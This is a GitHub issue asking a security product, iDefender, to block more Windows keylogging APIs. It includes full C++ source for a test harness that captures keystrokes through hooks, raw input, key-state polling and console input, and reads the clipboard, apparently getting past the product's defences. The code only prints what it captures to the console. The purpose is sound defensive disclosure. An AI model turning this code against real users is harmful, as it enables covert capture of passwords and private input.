Skip to content

Filter harmful keylogger APIs #41

@g-k-m

Description

@g-k-m

I noticed that WH_KEYBOARD_LL is filtered using the "block keyboard hook" template, however other keylogger apis such as GetAsyncKeyState, GetKeyState, GetKeyboardState, RegisterRawInputDevices, GetRawInputData, GetRawInputBuffer, GetClipboardData and more are not filtered. Thus malware which commonly uses these apis can still spy on the user. Would be great if you could add the ability to filter these apis. I have attached a short c++ chunk of code that can keylog the computer despite all defences in iDefender being turned on, including kernel enhanced defence and advanced defences.

Click to expand

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#include <thread>
#include <atomic>
#include <string>
#include <vector>

std::atomic<bool> running(true);

// Helper: translate VK to printable/friendly string
std::wstring vkToString(UINT vkCode) {
    BYTE keyboardState[256] = { 0 };
    WCHAR buf[8] = { 0 };
    std::wstring result;

    // Get the physical key state for ToUnicode
    if (GetKeyboardState(keyboardState)) {
        UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
        int chars = ToUnicode(vkCode, scanCode, keyboardState, buf, 8, 0);

        if (chars > 0) {
            // Assign exactly the characters returned — no quotes
            result.assign(buf, buf + chars);
        }
    }

    // If ToUnicode gave nothing, fall back to friendly names
    if (result.empty()) {
        switch (vkCode) {
        case VK_RETURN:      result = L"Enter"; break;
        case VK_SHIFT:       result = L"Shift"; break;
        case VK_LSHIFT:      result = L"LeftShift"; break;
        case VK_RSHIFT:      result = L"RightShift"; break;
        case VK_CONTROL:     result = L"Ctrl"; break;
        case VK_LCONTROL:    result = L"LeftCtrl"; break;
        case VK_RCONTROL:    result = L"RightCtrl"; break;
        case VK_MENU:        result = L"Alt"; break;
        case VK_LMENU:       result = L"LeftAlt"; break;
        case VK_RMENU:       result = L"RightAlt"; break;
        case VK_TAB:         result = L"Tab"; break;
        case VK_BACK:        result = L"Backspace"; break;
        case VK_ESCAPE:      result = L"Esc"; break;
        case VK_LEFT:        result = L"LeftArrow"; break;
        case VK_RIGHT:       result = L"RightArrow"; break;
        case VK_UP:          result = L"UpArrow"; break;
        case VK_DOWN:        result = L"DownArrow"; break;
        case VK_CAPITAL:     result = L"CapsLock"; break;
        case VK_DELETE:      result = L"Delete"; break;
        case VK_HOME:        result = L"Home"; break;
        case VK_END:         result = L"End"; break;
        case VK_PRIOR:       result = L"PageUp"; break;
        case VK_NEXT:        result = L"PageDown"; break;
        case VK_INSERT:      result = L"Insert"; break;
        default:
            result = L"(non-printable)";
            break;
        }
    }

    return result;
}

// -------- Module 1: Global Keyboard Hook --------
HHOOK g_hook = nullptr;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* p = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
        UINT vkCode = p->vkCode;
        // std::wcout << L"[HOOK] VKCode: " << vkCode;
        std::wcout << L"[HOOK] " << vkToString(vkCode) << L"\n";
    }
    return CallNextHookEx(g_hook, nCode, wParam, lParam);
}

static void runKeyboardHook() {
    std::cout << "\n=== Module 1: Global Keyboard Hook ===\n";
    g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
    if (!g_hook) {
        std::cerr << "Failed to set keyboard hook.\n";
        return;
    }
    ULONGLONG start = GetTickCount64();
    MSG msg;
    while (running && GetTickCount64() - start < 10000ULL) {
        while (PeekMessage(&msg, nullptr, 0, 0, PM_REMOVE)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        Sleep(10);
    }
    UnhookWindowsHookEx(g_hook);
    g_hook = nullptr;
}

// -------- Module 2: Clipboard Read --------
void runClipboardTest() {
    std::cout << "\n=== Module 2: Clipboard Access ===\n";
    ULONGLONG start = GetTickCount64();
    while (GetTickCount64() - start < 10000ULL) {
        if (OpenClipboard(nullptr)) {
            HANDLE hData = GetClipboardData(CF_UNICODETEXT);
            if (hData) {
                LPCWSTR pszText = static_cast<LPCWSTR>(GlobalLock(hData));
                if (pszText) {
                    std::wcout << L"[CLIPBOARD] " << pszText << std::endl;
                }
                GlobalUnlock(hData);
            }
            CloseClipboard();
        }
        else {
            std::cout << "Could not open clipboard.\n";
        }
        Sleep(1000);
    }
}

// -------- Module 3: Raw Input --------
void runRawInputTest(HWND hwnd) {
    std::cout << "\n=== Module 3: Raw Input (Keyboard) ===\n";
    RAWINPUTDEVICE rid = { 1, 6, RIDEV_INPUTSINK, hwnd };
    if (!RegisterRawInputDevices(&rid, 1, sizeof(rid))) {
        std::cout << "Failed to register raw input.\n";
        return;
    }
    MSG msg;
    ULONGLONG start = GetTickCount64();
    while (running && GetTickCount64() - start < 10000ULL) {
        while (PeekMessage(&msg, hwnd, 0, 0, PM_REMOVE)) {
            if (msg.message == WM_INPUT) {
                UINT dwSize = 0;
                GetRawInputData((HRAWINPUT)msg.lParam, RID_INPUT, nullptr, &dwSize, sizeof(RAWINPUTHEADER));
                std::vector<BYTE> lpb(dwSize);
                if (GetRawInputData((HRAWINPUT)msg.lParam, RID_INPUT, lpb.data(), &dwSize, sizeof(RAWINPUTHEADER)) == dwSize) {
                    RAWINPUT* raw = reinterpret_cast<RAWINPUT*>(lpb.data());
                    if (raw->header.dwType == RIM_TYPEKEYBOARD) {
                        UINT vk = raw->data.keyboard.VKey;
                        // std::wcout << L"[RAWINPUT] MakeCode: " << raw->data.keyboard.MakeCode << L" VKey: " << vk
                        std::wcout << L"[RAWINPUT] " << vkToString(vk) << L"\n";
                    }
                }
            }
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        Sleep(10);
    }
}

// -------- Module 4: Async Key State Poll --------
void runAsyncKeyStateTest() {
    std::cout << "\n=== Module 4: GetAsyncKeyState Poll ===\n";
    ULONGLONG start = GetTickCount64();
    while (running && GetTickCount64() - start < 10000ULL) {
        for (int vk = 0x08; vk <= 0xFE; ++vk) {
            SHORT state = GetAsyncKeyState(vk);
            if (state & 0x8000) {
                // std::wcout << L"[ASYNC] VKCode pressed: " << vk
                std::wcout << L"[ASYNC] " << vkToString(vk) << L"\n";
            }
        }
        Sleep(100);
    }
}

// -------- Module 5: Console Input --------
void runConsoleInputTest() {
    std::cout << "\n=== Module 5: Console Input Buffer ===\nPress some keys...\n";
    HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
    INPUT_RECORD ir[128];
    DWORD read;
    ULONGLONG start = GetTickCount64();
    while (running && GetTickCount64() - start < 10000ULL) {
        if (ReadConsoleInput(hIn, ir, 128, &read)) {
            for (DWORD i = 0; i < read; ++i) {
                if (ir[i].EventType == KEY_EVENT && ir[i].Event.KeyEvent.bKeyDown) {
                    UINT vk = ir[i].Event.KeyEvent.wVirtualKeyCode;
                    // std::wcout << L"[CONSOLE] Char: " << ir[i].Event.KeyEvent.uChar.UnicodeChar << L" VK: " << vk
                    std::wcout << L"[CONSOLE] " << vkToString(vk) << L"\n";
                }
            }
        }
    }
}

// -------- Window procedure --------
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    switch (msg) {
    case WM_INPUT: {
        UINT dwSize = 0;
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, nullptr, &dwSize, sizeof(RAWINPUTHEADER));
        std::vector<BYTE> lpb(dwSize);
        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb.data(), &dwSize, sizeof(RAWINPUTHEADER)) == dwSize) {
            RAWINPUT* raw = reinterpret_cast<RAWINPUT*>(lpb.data());
            if (raw->header.dwType == RIM_TYPEKEYBOARD) {
                UINT vk = raw->data.keyboard.VKey;
                // std::wcout << L"[RAWINPUT-WND] MakeCode: " << raw->data.keyboard.MakeCode << L" VKey: " << vk
                std::wcout << L"[RAWINPUT-WND] '" << vkToString(vk) << L"'\n";
            }
        }
    }
                 return 0;
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    default:
        return DefWindowProc(hwnd, msg, wParam, lParam);
    }
}


// -------- Entry point ------
int main() {
    std::cout << "=== SpyShelter Safe Multi‑Module Test Harness ===\n";

    // Register a simple window class
    WNDCLASS wc = { 0 };
    wc.lpfnWndProc = WndProc;
    wc.hInstance = GetModuleHandle(NULL);
    wc.lpszClassName = TEXT("TestWndClass");
    RegisterClass(&wc);

    // Create hidden message‑only window for Raw Input
    HWND hwnd = CreateWindow(wc.lpszClassName, TEXT("TestWindow"),
        0, 0, 0, 0, 0, HWND_MESSAGE,
        nullptr, wc.hInstance, nullptr);

    // Sequential 10‑second modules
    runKeyboardHook();
    runRawInputTest(hwnd);
    runAsyncKeyStateTest();
    runConsoleInputTest();
    runClipboardTest(); // Clipboard last

    // Clean up
    DestroyWindow(hwnd);
    UnregisterClass(wc.lpszClassName, wc.hInstance);

    std::cout << "\nAll modules completed safely.\n";
    return 0;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions